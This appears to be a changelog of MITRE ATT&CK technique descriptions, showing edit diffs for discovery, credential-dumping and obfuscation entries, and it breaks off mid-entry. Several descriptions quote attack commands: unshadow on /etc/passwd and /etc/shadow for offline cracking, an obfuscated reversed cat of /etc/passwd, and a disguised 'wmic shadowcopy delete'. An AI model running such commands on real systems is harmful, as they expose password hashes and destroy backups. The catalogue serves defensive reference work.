"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:48:02.694000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \\n\\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n\\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\", \"old_value\": \"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \\n\\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n\\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \\n \\n-Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n+Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n \\n Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\"}}}",
"previous_version": "3.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of services running | t | 1 | Adversaries may attempt to get a listing of services running |
| > | on remote hosts and local network infrastructure devices, i | > | on remote hosts and local network infrastructure devices, i | ||
| > | ncluding those that may be vulnerable to remote software exp | > | ncluding those that may be vulnerable to remote software exp | ||
| > | loitation. Common methods to acquire this information includ | > | loitation. Common methods to acquire this information includ | ||
| > | e port, vulnerability, and/or wordlist scans using tools tha | > | e port, vulnerability, and/or wordlist scans using tools tha | ||
| > | t are brought onto a system.(Citation: CISA AR21-126A FIVEHA | > | t are brought onto a system.(Citation: CISA AR21-126A FIVEHA | ||
| > | NDS May 2021) Within cloud environments, adversaries may | > | NDS May 2021) Within cloud environments, adversaries may | ||
| > | attempt to discover services running on other cloud hosts. | > | attempt to discover services running on other cloud hosts. | ||
| > | Additionally, if the cloud environment is connected to a on- | > | Additionally, if the cloud environment is connected to an on | ||
| > | premises environment, adversaries may be able to identify se | > | -premises environment, adversaries may be able to identify s | ||
| > | rvices running on non-cloud systems as well. Within macOS e | > | ervices running on non-cloud systems as well. Within macOS | ||
| > | nvironments, adversaries may use the native Bonjour applicat | > | environments, adversaries may use the native Bonjour applica | ||
| > | ion to discover services running on other macOS hosts within | > | tion to discover services running on other macOS hosts withi | ||
| > | a network. The Bonjour mDNSResponder daemon automatically r | > | n a network. The Bonjour mDNSResponder daemon automatically | ||
| > | egisters and advertises a host\u2019s registered services on the | > | registers and advertises a host\u2019s registered services on the | ||
| > | network. For example, adversaries can use a mDNS query (such | > | network. For example, adversaries can use a mDNS query (suc | ||
| > | as <code>dns-sd -B _ssh._tcp .</code>) to find other system | > | h as <code>dns-sd -B _ssh._tcp .</code>) to find other syste | ||
| > | s broadcasting the ssh service.(Citation: apple doco bonjour | > | ms broadcasting the ssh service.(Citation: apple doco bonjou | ||
| > | description)(Citation: macOS APT Activity Bradley) | > | r description)(Citation: macOS APT Activity Bradley) |
net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1135",
"external_id": "T1135"
},
{
"source_name": "TechNet Shared Folder",
"description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
"url": "https://technet.microsoft.com/library/cc770880.aspx"
},
{
"source_name": "Wikipedia Shared Resource",
"description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
"url": "https://en.wikipedia.org/wiki/Shared_resource"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:30:50.851000+00:00\", \"old_value\": \"2025-10-24 17:48:37.475000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\", \"old_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n \\n-File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\\n+File sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "3.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol.(Citation: Wikipedia Shared Resource)(Citation: | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | TechNet Shared Folder) [Net](https://attack.mitre.org/softwa | ||
| > | ware/S0039) can be used to query a remote system for availab | > | re/S0039) can be used to query a remote system for available | ||
| > | le shared drives using the <code>net view \\\\\\\\remotesystem</ | > | shared drives using the <code>net view \\\\\\\\remotesystem</co | ||
| > | code> command. It can also be used to query shared drives on | > | de> command. It can also be used to query shared drives on t | ||
| > | the local system using <code>net share</code>. For macOS, t | > | he local system using <code>net share</code>. For macOS, the | ||
| > | he <code>sharing -l</code> command lists all shared points u | > | <code>sharing -l</code> command lists all shared points use | ||
| > | sed for smb services. | > | d for smb services. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate using a protocol and port pairin | t | 1 | Adversaries may communicate using a protocol and port pairin |
| > | g that are typically not associated. For example, HTTPS over | > | g that are typically not associated (for example, HTTPS over | ||
| > | port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Ci | > | port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Ci | ||
| > | tation: Fortinet Agent Tesla April 2018) as opposed to the t | > | tation: Fortinet Agent Tesla April 2018) as opposed to the t | ||
| > | raditional port 443. Adversaries may make changes to the sta | > | raditional port 443). Adversaries may make changes to the st | ||
| > | ndard port used by a protocol to bypass filtering or muddle | > | andard port used by a protocol to bypass filtering or muddle | ||
| > | analysis/parsing of network data. Adversaries may also make | > | analysis/parsing of network data. Adversaries may also mak | ||
| > | changes to victim systems to abuse non-standard ports. For | > | e changes to victim systems to abuse non-standard ports. For | ||
| > | example, Registry keys and other configuration settings can | > | example, Registry keys and other configuration settings can | ||
| > | be used to modify protocol and port pairings.(Citation: chan | > | be used to modify protocol and port pairings.(Citation: cha | ||
| > | ge_rdp_port_conti) | > | nge_rdp_port_conti) |
/etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\n\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd is linked to the password hashes in /etc/shadow, an adversary would need to have access to both.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/008",
"external_id": "T1003.008"
},
{
"source_name": "Arctic Wolf",
"description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
"url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/"
},
{
"source_name": "Linux Password and Shadow File Formats",
"description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
"url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
},
{
"source_name": "nixCraft - John the Ripper",
"description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
"url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:04:07.550000+00:00\", \"old_value\": \"2025-10-24 17:49:25.253000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\\n\\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n\\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd is linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\", \"old_value\": \"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\\n\\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n\\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n \\n-Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\\n+Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd is linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to dump the contents of <code>/etc/p | t | 1 | Adversaries may attempt to dump the contents of <code>/etc/p |
| > | asswd</code> and <code>/etc/shadow</code> to enable offline | > | asswd</code> and <code>/etc/shadow</code> to enable offline | ||
| > | password cracking. Most modern Linux operating systems use a | > | password cracking. Most modern Linux operating systems use a | ||
| > | combination of <code>/etc/passwd</code> and <code>/etc/shad | > | combination of <code>/etc/passwd</code> and <code>/etc/shad | ||
| > | ow</code> to store user account information, including passw | > | ow</code> to store user account information, including passw | ||
| > | ord hashes in <code>/etc/shadow</code>. By default, <code>/e | > | ord hashes in <code>/etc/shadow</code>. By default, <code>/e | ||
| > | tc/shadow</code> is only readable by the root user.(Citation | > | tc/shadow</code> is only readable by the root user.(Citation | ||
| > | : Linux Password and Shadow File Formats) Linux stores user | > | : Linux Password and Shadow File Formats) Linux stores user | ||
| > | information such as user ID, group ID, home directory path, | > | information such as user ID, group ID, home directory path, | ||
| > | and login shell in <code>/etc/passwd</code>. A \"user\" on th | > | and login shell in <code>/etc/passwd</code>. A \"user\" on th | ||
| > | e system may belong to a person or a service. All password h | > | e system may belong to a person or a service. All password h | ||
| > | ashes are stored in <code>/etc/shadow</code> - including ent | > | ashes are stored in <code>/etc/shadow</code> - including ent | ||
| > | ries for users with no passwords and users with locked or di | > | ries for users with no passwords and users with locked or di | ||
| > | sabled accounts.(Citation: Linux Password and Shadow File Fo | > | sabled accounts.(Citation: Linux Password and Shadow File Fo | ||
| > | rmats) Adversaries may attempt to read or dump the <code>/e | > | rmats) Adversaries may attempt to read or dump the <code>/e | ||
| > | tc/passwd</code> and <code>/etc/shadow</code> files on Linux | > | tc/passwd</code> and <code>/etc/shadow</code> files on Linux | ||
| > | systems via command line utilities such as the <code>cat</c | > | systems via command line utilities such as the <code>cat</c | ||
| > | ode> command.(Citation: Arctic Wolf) Additionally, the Linux | > | ode> command.(Citation: Arctic Wolf) Additionally, the Linux | ||
| > | utility <code>unshadow</code> can be used to combine the tw | > | utility <code>unshadow</code> can be used to combine the tw | ||
| > | o files in a format suited for password cracking utilities s | > | o files in a format suited for password cracking utilities s | ||
| > | uch as John the Ripper - for example, via the command <code> | > | uch as John the Ripper - for example, via the command <code> | ||
| > | /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.passw | > | /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.passw | ||
| > | ord.db</code>(Citation: nixCraft - John the Ripper). Since t | > | ord.db</code>(Citation: nixCraft - John the Ripper). Since t | ||
| > | he user information stored in <code>/etc/passwd</code> are l | > | he user information stored in <code>/etc/passwd</code> is li | ||
| > | inked to the password hashes in <code>/etc/shadow</code>, an | > | nked to the password hashes in <code>/etc/shadow</code>, an | ||
| > | adversary would need to have access to both. | > | adversary would need to have access to both. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access credentials and other sens | t | 1 | Adversaries may attempt to access credentials and other sens |
| > | itive information by abusing a Windows Domain Controller's a | > | itive information by abusing a Windows Domain Controller's a | ||
| > | pplication programming interface (API)(Citation: Microsoft D | > | pplication programming interface (API)(Citation: Microsoft D | ||
| > | RSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: | > | RSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: S | ||
| > | Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate | > | amba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the | ||
| > | the replication process from a remote domain controller usin | > | replication process from a remote domain controller using a | ||
| > | g a technique called DCSync. Members of the Administrators, | > | technique called DCSync. Members of the Administrators, Do | ||
| > | Domain Admins, and Enterprise Admin groups or computer acco | > | main Admins, and Enterprise Admin groups or computer account | ||
| > | unts on the domain controller are able to run DCSync to pull | > | s on the domain controller are able to run DCSync to pull pa | ||
| > | password data(Citation: ADSecurity Mimikatz DCSync) from Ac | > | ssword data(Citation: ADSecurity Mimikatz DCSync) from Activ | ||
| > | tive Directory, which may include current and historical has | > | e Directory, which may include current and historical hashes | ||
| > | hes of potentially useful accounts such as KRBTGT and Admini | > | of potentially useful accounts such as KRBTGT and Administr | ||
| > | strators. The hashes can then in turn be used to create a [G | > | ators. The hashes can then in turn be used to create a [Gold | ||
| > | olden Ticket](https://attack.mitre.org/techniques/T1558/001) | > | en Ticket](https://attack.mitre.org/techniques/T1558/001) fo | ||
| > | for use in [Pass the Ticket](https://attack.mitre.org/techn | > | r use in [Pass the Ticket](https://attack.mitre.org/techniqu | ||
| > | iques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or c | > | es/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or chan | ||
| > | hange an account's password as noted in [Account Manipulatio | > | ge an account's password as noted in [Account Manipulation]( | ||
| > | n](https://attack.mitre.org/techniques/T1098).(Citation: Ins | > | https://attack.mitre.org/techniques/T1098).(Citation: Inside | ||
| > | iderThreat ChangeNTLM July 2017) DCSync functionality has b | > | rThreat ChangeNTLM July 2017) DCSync functionality has been | ||
| > | een included in the \"lsadump\" module in [Mimikatz](https://a | > | included in the \"lsadump\" module in [Mimikatz](https://atta | ||
| > | ttack.mitre.org/software/S0002).(Citation: GitHub Mimikatz l | > | ck.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsad | ||
| > | sadump Module) Lsadump also includes NetSync, which performs | > | ump Module) Lsadump also includes NetSync, which performs DC | ||
| > | DCSync over a legacy replication protocol.(Citation: Micros | > | Sync over a legacy replication protocol.(Citation: Microsoft | ||
| > | oft NRPC Dec 2017) | > | NRPC Dec 2017) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use binary padding to add junk data and chan | t | 1 | Adversaries may use binary padding to add junk data and chan |
| > | ge the on-disk representation of malware. This can be done w | > | ge the on-disk representation of malware. This can be done w | ||
| > | ithout affecting the functionality or behavior of a binary, | > | ithout affecting the functionality or behavior of a binary, | ||
| > | but can increase the size of the binary beyond what some sec | > | but can increase the size of the binary beyond what some sec | ||
| > | urity tools are capable of handling due to file size limitat | > | urity tools are capable of handling due to file size limitat | ||
| > | ions. Binary padding effectively changes the checksum of t | > | ions. Binary padding effectively changes the checksum of t | ||
| > | he file and can also be used to avoid hash-based blocklists | > | he file and can also be used to avoid hash-based blocklists | ||
| > | and static anti-virus signatures.(Citation: ESET OceanLotus) | > | and static anti-virus signatures.(Citation: ESET OceanLotus) | ||
| > | The padding used is commonly generated by a function to cre | > | The padding used is commonly generated by a function to cre | ||
| > | ate junk data and then appended to the end or applied to sec | > | ate junk data and then appended to the end or applied to sec | ||
| > | tions of malware.(Citation: Securelist Malware Tricks April | > | tions of malware.(Citation: Securelist Malware Tricks April | ||
| > | 2017) Increasing the file size may decrease the effectivenes | > | 2017) Increasing the file size may decrease the effectivenes | ||
| > | s of certain tools and detection capabilities that are not d | > | s of certain tools and detection capabilities that are not d | ||
| > | esigned or configured to scan large files. This may also red | > | esigned or configured to scan large files. This may also red | ||
| > | uce the likelihood of being collected for analysis. Public f | > | uce the likelihood of being collected for analysis. Public f | ||
| > | ile scanning services, such as VirusTotal, limits the maximu | > | ile scanning services, such as VirusTotal, limit the maximum | ||
| > | m size of an uploaded file to be analyzed.(Citation: VirusTo | > | size of an uploaded file to be analyzed.(Citation: VirusTot | ||
| > | tal FAQ) | > | al FAQ) |
Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/010",
"external_id": "T1027.010"
},
{
"source_name": "Twitter Richard WMIC",
"description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.",
"url": "https://x.com/rfackroyd/status/1639136000755765254"
},
{
"source_name": "Invoke-Obfuscation",
"description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.",
"url": "https://github.com/danielbohannon/Invoke-Obfuscation"
},
{
"source_name": "Invoke-DOSfuscation",
"description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.",
"url": "https://github.com/danielbohannon/Invoke-DOSfuscation"
},
{
"source_name": "FireEye Obfuscation June 2017",
"description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
"url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
},
{
"source_name": "Malware Monday VBE",
"description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.",
"url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"
},
{
"source_name": "Akamai JS",
"description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.",
"url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"
},
{
"source_name": "Bashfuscator Command Obfuscators",
"description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.",
"url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"
},
{
"source_name": "Microsoft PowerShellB64",
"description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.",
"url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"
},
{
"source_name": "RC PowerShell",
"description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.",
"url": "https://redcanary.com/threat-detection-report/techniques/powershell/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"George Thomas",
"Tim Peck",
"TruKno"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:26:29.649000+00:00\", \"old_value\": \"2026-05-12 15:12:00.718000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n\\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n\\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n\\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\", \"old_value\": \"Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n\\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC 